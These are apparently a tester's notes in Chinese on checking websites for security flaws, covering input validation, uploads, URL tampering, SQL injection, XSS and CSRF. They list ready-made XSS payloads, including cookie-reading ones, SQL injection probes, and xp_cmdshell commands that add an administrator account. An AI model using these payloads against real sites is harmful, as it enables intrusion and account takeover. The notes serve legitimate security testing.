网站安全性测试小记

1、输入项验证

要注意从两方面去测试:客户端验证和服务器端验证(禁用脚本调试,禁用Cookies)。
重点测试项包含:
a.输入很大的数(如4,294,967,269),输入很小的数(负数)
b.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
c.输入特殊字符,如:~!@#$%^&*()_+<>:"{}|
d.输入中英文空格,输入字符串中间含空格,输入首尾空格
e.输入特殊字符串NULL,null,0x0d 0x0a
f.输入正常字符串    
g.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
h.输入html和javascript代码
i.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:
i.1 输入<html">"gfhd</html>,看是否出错;
i.2 输入<input type="text" name="user"/>,看是否出现文本框;
i.3 输入<script type="text/javascript">alert(“提示")</script>看是否出现提示。
2、文件上传测试
a.上传文件是否有格式限制,是否可以上传exe文件;
b.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
c.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
d.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
e.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
f.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
g.对于文件名中带有中文字符,特殊字符等的文件上传。
3、URL测试
a.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
b.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
c.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
d.输入善意字符。
4、UBB测试
UBB常见格式:[url=http://www.****.com]你的网站[/url]
a.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
b.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
c.输入编辑器中不存在的UBB代码,看是否起作用
以下为测试样例:
[url=javascript:alert('hello')]链接[/url]
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
5、防止SQL注入
常见测试输入如下:
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add"
;exec master..xp_cmdshell “net localgroup name administrators /add"
and 0<>(select count(*) from admin)
简单的如where xtype='U',字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name='用户',可以用where name=nchar(29992)+nchar(25143)代替。
6、跨站脚本攻击(XSS)
对于 XSS,只需检查 HTML 输出并看看你输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?
例如:

  • ~!@#$%^&*()_+<>,./?;'"[]{}-
  • %3Cinput /%3E
  • %3Cscript%3Ealert('XSS')%3C/script%3E
  • <input type="text"/>
  • <input/>
  • <input/ 
  • <script>alert('xss')</script>
  • <script>alert('xss');</script>
  • </script><script>alert('xss')</script>
  • javascript:alert(/xss/)
  • javascript:alert(/xss/)
  • <img src="#" onerror=alert(/xss/)>
  • <img src="#" style="Xss:expression(alert(/xss/));">
  • <img src="#"/**/onerror=alert(/xss/) width=100>
  • ='><script>alert(document.cookie)</script>
  • 1.jpg" onmouseover="alert('xss')
  • "></a><script>alert('xss');</script>
  • http://xxx';alert('xss');var/ a='a
  • '">xss&<
  • "onmouseover=alert('hello');"
  • &{alert('hello');}
  • >"'><script>alert('XSS')</script>
  • >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
  • >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
  • AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
  • %22%2Balert(%27XSS%27)%2B%22
  • <table background="javascript:alert(([code])"></table>
  • <object type=text/html data="javascript:alert(([code]);"></object>
  • <body onload="javascript:alert(([code])"></body>
  • a?<script>alert('Vulnerable')</script>
  • <!--'">&:var from='$!rundata.Parameters.getString('from')';
  • <!--'">&:var from = ";hackerFunction(document.cookie);";

7、跨站请求伪造(CSRF)
同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。
当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。

 



留言